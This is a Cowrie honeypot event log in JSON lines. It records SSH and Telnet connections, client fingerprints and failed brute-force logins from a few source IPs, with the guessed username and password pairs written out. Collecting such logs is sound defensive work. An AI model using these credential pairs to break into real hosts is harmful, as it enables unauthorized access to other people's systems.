{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abc123!@#","message":"login attempt [ubuntu/abc123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:29.892384Z","src_ip":"198.98.56.227","session":"280da17a18f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48574,"dst_ip":"10.17.0.5","dst_port":22,"session":"795856ec004d","protocol":"ssh","message":"New connection: 176.65.132.129:48574 (10.17.0.5:22) [session: 795856ec004d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:29.962105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:29.966622Z","src_ip":"176.65.132.129","session":"795856ec004d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:30.048743Z","src_ip":"176.65.132.129","session":"795856ec004d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mohammad","password":"mohammad","message":"login attempt [mohammad/mohammad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:30.304452Z","src_ip":"176.65.132.129","session":"795856ec004d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.065948724746704,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:30.560355Z","src_ip":"38.60.198.128","session":"e1e56c210928","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:30.901141Z","src_ip":"198.98.56.227","session":"280da17a18f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:31.389838Z","src_ip":"176.65.132.129","session":"795856ec004d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":46886,"dst_ip":"159.203.135.109","dst_port":23,"session":"027a80d45527","protocol":"telnet","message":"New connection: 38.60.198.128:46886 (159.203.135.109:23) [session: 027a80d45527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:32.444752Z"}
{"eventid":"cowrie.session.closed","duration":41.76447796821594,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:32.885223Z","src_ip":"38.60.198.128","session":"92695dd40123","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48592,"dst_ip":"10.17.0.5","dst_port":22,"session":"d483cd3f9ba0","protocol":"ssh","message":"New connection: 176.65.132.129:48592 (10.17.0.5:22) [session: d483cd3f9ba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:33.265120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:33.269445Z","src_ip":"176.65.132.129","session":"d483cd3f9ba0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:33.448610Z","src_ip":"176.65.132.129","session":"d483cd3f9ba0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123456","message":"login attempt [root/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:33.783012Z","src_ip":"176.65.132.129","session":"d483cd3f9ba0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:34.871604Z","src_ip":"176.65.132.129","session":"d483cd3f9ba0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":51170,"dst_ip":"159.203.135.109","dst_port":23,"session":"dee69969948b","protocol":"telnet","message":"New connection: 38.60.198.128:51170 (159.203.135.109:23) [session: dee69969948b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:35.063832Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":42990,"dst_ip":"159.203.135.109","dst_port":23,"session":"b70bb4a7babf","protocol":"telnet","message":"New connection: 38.60.198.128:42990 (159.203.135.109:23) [session: b70bb4a7babf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:35.368188Z"}
{"eventid":"cowrie.session.closed","duration":0.5421745777130127,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:35.910199Z","src_ip":"38.60.198.128","session":"b70bb4a7babf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59980,"dst_ip":"10.17.0.5","dst_port":22,"session":"efcb2862158e","protocol":"ssh","message":"New connection: 176.65.132.129:59980 (10.17.0.5:22) [session: efcb2862158e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:36.756527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:36.761125Z","src_ip":"176.65.132.129","session":"efcb2862158e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:36.843717Z","src_ip":"176.65.132.129","session":"efcb2862158e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@2026","message":"login attempt [root/root@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:37.090519Z","src_ip":"176.65.132.129","session":"efcb2862158e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:38.337128Z","src_ip":"176.65.132.129","session":"efcb2862158e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59996,"dst_ip":"10.17.0.5","dst_port":22,"session":"a48a5078c75a","protocol":"ssh","message":"New connection: 176.65.132.129:59996 (10.17.0.5:22) [session: a48a5078c75a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:40.167117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:40.172334Z","src_ip":"176.65.132.129","session":"a48a5078c75a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:40.257963Z","src_ip":"176.65.132.129","session":"a48a5078c75a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esroot","password":"esroot","message":"login attempt [esroot/esroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:40.504811Z","src_ip":"176.65.132.129","session":"a48a5078c75a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":59110,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad857287ce50","protocol":"telnet","message":"New connection: 38.60.198.128:59110 (159.203.135.109:23) [session: ad857287ce50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:41.463714Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:41.589283Z","src_ip":"176.65.132.129","session":"a48a5078c75a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60004,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7379f72819b","protocol":"ssh","message":"New connection: 176.65.132.129:60004 (10.17.0.5:22) [session: e7379f72819b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:43.698842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:43.703511Z","src_ip":"176.65.132.129","session":"e7379f72819b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:43.786367Z","src_ip":"176.65.132.129","session":"e7379f72819b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pool","password":"pool","message":"login attempt [pool/pool] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:44.033951Z","src_ip":"176.65.132.129","session":"e7379f72819b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:45.174536Z","src_ip":"176.65.132.129","session":"e7379f72819b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.54877185821533,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:46.524818Z","src_ip":"192.211.53.160","session":"b1c7c16ba22c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56132,"dst_ip":"10.17.0.5","dst_port":22,"session":"10dd1fbd0cc0","protocol":"ssh","message":"New connection: 176.65.132.129:56132 (10.17.0.5:22) [session: 10dd1fbd0cc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:47.034529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:47.039299Z","src_ip":"176.65.132.129","session":"10dd1fbd0cc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:47.121274Z","src_ip":"176.65.132.129","session":"10dd1fbd0cc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei@123","message":"login attempt [root/huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:47.428904Z","src_ip":"176.65.132.129","session":"10dd1fbd0cc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.756267070770264,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:47.871636Z","src_ip":"38.60.198.128","session":"f9d5429c2ce3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:48.513877Z","src_ip":"176.65.132.129","session":"10dd1fbd0cc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56136,"dst_ip":"10.17.0.5","dst_port":22,"session":"e10cde5418b9","protocol":"ssh","message":"New connection: 176.65.132.129:56136 (10.17.0.5:22) [session: e10cde5418b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:50.545666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:50.550146Z","src_ip":"176.65.132.129","session":"e10cde5418b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:50.632087Z","src_ip":"176.65.132.129","session":"e10cde5418b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":40574,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bbfbb7d4d70","protocol":"telnet","message":"New connection: 38.60.198.128:40574 (159.203.135.109:23) [session: 8bbfbb7d4d70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:50.762439Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123","message":"login attempt [root/QWEqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:50.880031Z","src_ip":"176.65.132.129","session":"e10cde5418b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.222.14","src_port":37640,"dst_ip":"159.203.135.109","dst_port":22,"session":"8905231b6f22","protocol":"ssh","message":"New connection: 57.128.222.14:37640 (159.203.135.109:22) [session: 8905231b6f22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:51.869911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:51.874761Z","src_ip":"57.128.222.14","session":"8905231b6f22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:51.964662Z","src_ip":"176.65.132.129","session":"e10cde5418b9","protocol":"ssh"}
